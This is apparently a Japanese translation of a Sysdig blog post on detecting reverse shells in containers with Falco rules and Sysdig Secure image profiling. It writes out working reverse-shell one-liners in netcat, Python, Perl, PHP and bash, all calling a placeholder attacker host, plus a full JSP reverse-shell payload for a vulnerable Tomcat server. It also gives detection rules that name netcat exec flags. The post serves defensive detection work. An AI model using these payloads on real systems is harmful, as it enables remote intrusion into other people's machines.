Google Cloudとコンテナの継続的なセキュリティ
本文の内容は、2020年5月28日にKaizhe Huangが投稿したブログ(https://sysdig.com/blog/reverse-shell-falco-sysdig-secure/)を元に日本語に翻訳・再構成した内容となっております。
リバースシェルは、攻撃者がターゲットのシステムにアクセスする方法です。この記事では、この攻撃のしくみと、CNCFプロジェクトであるFalcoとSysdig Secureを使用して攻撃を検出する方法について学びます。
時に、攻撃者がリバースシェル接続を確立して、システムへのインタラクティブなアクセスを許可する方法で、アプリケーションの脆弱性が悪用される可能性があります。攻撃者がこのシステムへのアクセス権を取得すると、偵察、横方向の移動を行い、特権を昇格させる可能性があります。そこから、システムまたはデータベースから機密データを盗み、クリプトマイナーをインストールできます。
攻撃者がリバースシェルから実行する動作は、通常のアプリケーションの動作とは異なります。マイクロサービス環境では、この違いはさらに明白です。コンテナは、通常の行為を伴う単一の軽量プロセスである傾向があるためです。
Falcoは、アプリケーション、コンテナ、およびホストでこの種の異常な動作を検出します。Sysdig Secureは、異常な動作を検出するだけでなく、対応アクションも実行するエンタープライズ製品です。
では、この攻撃がどのように機能するかを詳しく見てみましょう。
通常のシナリオでは、 SSHなどのリモートシステムアクセスツールを使用した場合、それがターゲットマシンへの接続要求を開始したユーザ(クライアント)です。そこで、サーバー(sshデーモン)は着信要求をリッスンしています。受信すると認証を実行し、成功した場合はインタラクティブ接続が確立されます。
これはバインドシェルと呼ばれ、攻撃からブロックするのは簡単です。一般的なファイアウォール設定では、ポート22への着信トラフィックをブロックし、HTTPの場合はポート80、HTTPSの場合はポート443のみを許可します。
リバースシェルは、役割を逆にすることで、これらの保護を回避しようとします。ユーザーエンドへの接続要求を開始するのはターゲットマシンです。
ファイアウォールは通常、送信トラフィックの制限が少ないため、攻撃対象のマシンにインタラクティブなシェル接続を設定する代わりに、攻撃者がパブリックIPを使用して攻撃マシンのシェルリスナーに接続リクエストを送信する可能性があります。このようなシェルリスナーを設定するための一般的なツールはnetcatです。
リバースシェルの実行を観察することは、システムの一部が侵害されたことを示す強力な指標です。このような悪意のある動作を早期に検出すればするほど、被害が発生する可能性が低くなります。
このセクションでは、いくつかの一般的なリバースシェルコードスニペットについて説明し、その仕組みを説明します。次に、Falcoがリバースシェルアクティビティの検出にどのように役立つかを示します。
検出がより難しい、より高度なリバースシェルがあることに注意してください。また、Sysdig Secureがこのような高度な攻撃シナリオの検出にどのように役立つかについても説明します。
Netcatは、シェルリスナーのセットアップと、犠牲となるマシンからのリバースシェル接続の開始の両方に使用できます。シェルリスナーを設定する簡単な例を次に示します。
nc -l -p 1234
上記のコマンドはnc、ポート1234でリッスンするサーバーを起動します。これは、攻撃者の側で行われます。シェルサーバーは攻撃者側のパブリックIPアドレスにバインドされていることに注意してください。
被害者側では、攻撃者は次のコマンドで対話型シェル接続を開始します。
nc -e /bin/bash <攻撃者IP> 1234
上記のコマンド/bin/bashは、攻撃者のシェルリスナーに接続した後に実行され、リバースシェルが確立されます。
Falcoの標準ルールには、リバースシェルを検出するルールがあります。プロセス名とコマンドライン引数に基づいて、コンテナから開始された接続を認識します。
- rule: Netcat Remote Code Execution in Container desc: Netcat Program runs inside container that allows remote code execution condition: > spawned_process and container and ((proc.name = "nc" and (proc.args contains "-e" or proc.args contains "-c")) or (proc.name = "ncat" and (proc.args contains "--sh-exec" or proc.args contains "--exec" or proc.args contains "-e " or proc.args contains "-c " or proc.args contains "--lua-exec")) ) output: > Netcat runs inside container that allows remote code execution (user=%user.name command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag) priority: WARNING tags: [network, process, mitre_execution]
上記のルールは、指定されたプロセスncとそのバリエーションncat、および-eまたはなどのコマンド引数を検出し-cます。-eと-cフラグの両方が、リバースシェル接続が確立されたときと同じように、shまたはbashその後にコマンドを実行します。
検出の出力は次のようになります。
22:59:18.067815266: Warning Netcat runs inside container that allows remote code execution (user=root command=nc -e /bin/bash 34.203.xxx.xxx 1234 container_id=abaf42c1ac36 container_name=victim image=kaizheh/ubuntu:latest)
Falcoイベントは、この悪意のある動作に関する詳細な情報を提供していることに注意してください、user、command、container_id、container_nameとimage。検出されたら、攻撃者がクラスターに追加のアクセス権を取得する前に、すぐに対処する必要があります。
それでは、リバースシェル接続を確立する他の方法を見てみましょう。
ほとんどの場合、netcatはコンテナ内にインストールされていないか、推奨されていません。ただし、攻撃者は必ずしもnetcatをインストールする必要はなく、リバースシェル接続を確立するために1行のコードを実行するだけで済みます。一般的な例をいくつか見てみましょう。
Pythonは本番システムで一般的に使用されています。ほとんどの場合、すでにインストールされているため、リバースシェル接続に適したオプションである可能性があります。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perlは、リバースシェル接続を確立するための別の良い候補です。
perl -e 'use Socket;$i="<attacker IP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
コンテナがWebサーバーをホストし、PHPを使用している場合、言語はリバースシェルの優れたオプションです。
php -r '$sock=fsockopen("<attacker IP>",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
最後に、これはほとんどすべてのLinuxシステムでリバースシェル接続を確立する最も簡単な方法です。
/bin/bash -i >& /dev/tcp/<attacker IP>/1234 0>&1
上記の すべての例を見ると、すべてにネットワーク接続とシェル実行の両方が含まれていることがわかります。どのようにしてドットを接続し、Falcoでそれを検出できるのでしょうか?
最初に、確立されたリバースシェルがコンテナでどのように見えるかを知る必要があります。
ps auxプロセス、ネットワーク接続、オープンファイル記述子などのシステムリソースを調べる ために使用 すると、次のようになります。
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 4532 812 ? Ss 16:07 0:00 sleep 3600 root 6 0.0 0.0 18508 3512 pts/0 Ss 16:07 0:00 bash root 6693 0.0 0.0 18508 3444 pts/1 Ss 16:47 0:00 bash root 6712 0.0 0.0 4628 784 pts/0 S+ 16:47 0:00 /bin/sh -i root 6716 0.0 0.0 34400 2820 pts/1 R+ 17:01 0:00 ps aux
スリープコマンド(PID 1)は、このサンプルイメージのエントリポイントであり、スリープ以外は何もしません。残りのプロセスは、通常のコンテナには表示されません。
PID 6693とPID 6716は、現在実行中の端末である同じTTY、pts/1で実行されていps auxます。
PID 6は、PID 6712の別のシェルを実行しており、/bin/sh -iを実行しています。これがリバースシェルです。
リバースシェルはシェルですが、すべてのシェルがリバースシェルであることを意味するわけではありません。DevOpsは、デバッグまたは管理タスクを実行するために、ポッドまたはコンテナで実行する必要がある場合があります。したがって、起動されたシェルプロセスだけに依存するだけでは不十分です。
ネットワーク接続がどのように見えるかを見てみましょう:
Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 172.17.0.2:34724 34.203.xxx.xxx:1234 ESTABLISHED
TCP接続は1つ34.203.xxx.xxx:1234です。このコンテナはスリープするだけなので、外部ネットワーク接続は疑わしいことに注意してください。
ここでの例は明確ですが、ネットワーク要求を実行するコンテナでは、リバースシェル用のものを区別するのは困難です。外部IPアドレスがブラックリストに登録されていない場合は特に困難です。これは、リバースシェル接続をブロックするためにファイアウォールが直面する課題でもあります。
次に、lsof -iを使用して開いているファイル記述子を見てみましょう。
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sh 20 root 0u IPv4 80319 0t0 TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED) sh 20 root 1u IPv4 80319 0t0 TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED) sh 20 root 2u IPv4 80319 0t0 TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)
このlsof -iコマンドは、IPアドレスに基づいて開いているファイル記述子を一覧表示します。
この出力は興味深いです。ファイル記述子0、1、および2は、STDIN、STDOUT、およびSTDERRを表します。これは何を意味するのでしょうか?端末では、STDINはキーボードからの入力を意味し、STDOUTは画面への出力を意味します。どちらもリモート接続にリダイレクトされます。リモートの誰かがシステムのSTDINおよびSTDOUTと対話しているため、これはリバースシェルのインジケータです。
これらのリバースシェルを検出するために、これまでに見たものを使用してFalcoルールを作成してみましょう。
通常、プログラムがネットワーク接続を開始すると、システムはネットワーク接続用のソケットを開きます。ソケットは、システムによって割り当てられた番号を持つファイル記述子にすぎません。システム内の開いている各ファイル記述子には番号が割り当てられており、互いに競合することはありません。デフォルトでは、STDINには0、STDOUTには1、STDERRには2が割り当てられています。
上記の例では、リバースシェルがSTDINおよびSTDOUTをネットワーク接続を使用して開いているソケットにリダイレクトすることを確認しました。Unixシステムでは、このリダイレクトはdupシステムコールを介して行われます。
したがって、dupを使用してリバースシェルを検出すると、Falcoルールは次のようになります。
- rule: Reverse shell desc: Detect reverse shell established remote connection condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6") output: > Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip) priority: WARNING tags: [container, shell, mitre_execution] append: false
このconditionセクションでは、このFalcoルールが、ネットワークタイプのファイル記述子を持つSTDIN、STDOUT、STDERRのファイル記述子を複製するdupシステムコールを検出していることを確認できます。
condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")
リバースシェルが確立されると、出力は次のようになります。
02:03:52.618055919: Warning Reverse shell connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=0 fd.type=ipv4 fd.sip=34.203.xxx.xxx) 02:03:52.618067837: Warning Reverse shell connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=1 fd.type=ipv4 fd.sip=34.203.xxx.xxx) 02:03:52.618076419: Warning Reverse shell connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=2 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
ここで3つのリバースシェル警告メッセージが表示されるのは、小さなperlスクリプトが、dupシステムコールをそれぞれSTDIN、STDOUT、STDERRで実行したためです。
アプリケーションの脆弱性が悪用されて、リバースシェルが確立される可能性があります。
たとえば、HTTP PUTが有効になっているCVE-2017-12617の影響を受けるTomcatサーバーでは、攻撃者はTomcatサーバーによって実行される悪質なJSPコードをアップロードできます。JSPコードでは、攻撃者はSTDIN/STDOUTストリームをソケットストリーム(dupなし)に結合するストリームコネクタを構築できるため、リバースシェルになります。
JSPペイロードコードの例は次のようになります。
<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { out.write( buffer, 0, length ); out.flush(); } } catch( Exception e ){} try { if( in != null ) in.close(); if( out != null ) out.close(); } catch( Exception e ){} } } try { Socket socket = new Socket( "<attacker IP>″, 37779 ); Process process = Runtime.getRuntime().exec( "sh" ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>
この悪意のあるペイロードから、シェルが生成され、ポート37779のIPへのリモート接続があることのみを知ることができます。
このようなフォームでは、検出がさらに困難になります。これをコードを調べずにリバースシェルであると推測するにはどうすればよいですか?
Sysdig Secureがどのように役立つかを見てみましょう。
イメージプロファイリングはSysdig Secureの機能で、イメージの予期される振る舞いを定義するのに役立ちます。
コンテナの振る舞いを学習してから24時間以内に、学習したプロファイルは、そのタイプのコンテナでどのプロセス、ファイルシステムアクティビティ、ネットワーク動作、およびシステムコールが安全と見なされるかについての洞察を得ます。
イメージプロファイルが作成されたら、DevOpsとセキュリティチームは、学習したプロファイルスナップショットを使用してポリシーセットを作成できます。このポリシーセットはコンテナに自動的に適用でき、大規模環境にスケーラブルなランタイム防御を提供します。
前のTomcatの例に戻ると、これは下記のイメージプロファイルのようになります。
プロファイルは、ネットワーク接続、ファイルアクティビティ、プロセス、syscall領域のTomcatイメージ用に作成されています。
プロファイルに関する詳細:
これで、この学習したプロファイルに基づいてTomcatのSysdig Secureポリシーを構築できます。
Metasploitを 使用して、悪意のあるJSPペイロードで攻撃を仕掛けました。
Sysdig Secureがそれを検出しました。ここに表示されるアラートは次のとおりです。
このアラートは、Tomcatコンテナに書き込まれたファイルがいくつかあったことを示しています。これらは、StreamConnectorクラスを含むjava .classファイルです。
このアラートは、Tomcatコンテナ、特にJavaプロセスから開始された外部接続があったことを示しています。
このアラートは、シェルshが生成されたことを示しています。bashがイメージのエントリポイントとして実行されたため、イメージプロファイルに記録されたことに注意してください。
このアラートはls、Tomcatコンテナ内でコマンドが実行されたことを示しています。
攻撃者がさまざまなコマンドを実行して被害者を悪用しようとすると、このようなアラートがさらに表示されることが予想されます。
これは、Sysdig Secureが、イメージプロファイルから、コンテナでの実行を許可されたプロセスのホワイトリストを作成したためです。他のプロセスは安全なポリシーイベントをトリガーします。
これらのすべてのイメージを分離して見ると、根本原因を見つけるのに十分な情報が得られない可能性があります。ただし、Sysdig Secure UIはそれらを相互に関連付けます。同じコンテナ内でほぼ同時に発生したことが簡単にわかります。これにより、Tomcatコンテナ内にリバースシェルが確立されたと結論付けるのがはるかに簡単になります。
攻撃者がシステムにアクセスする場合、リバースシェルを確立する方法は複数あります。場合によっては、リバースシェルの動作を検出するのが難しいことがあります。システム(コンテナ)の振る舞いを完全に理解して初めて、ファイルアクティビティ、ネットワークアクティビティ、プロセスアクティビティの信頼できるホワイトリストを作成できます。そうして初めて、システム内のリバースシェルのような異常なアクティビティを確実に検出できるようになります。
Sysdig Secureの無料トライアルに興味がある場合は、こちらからサインアップしてください!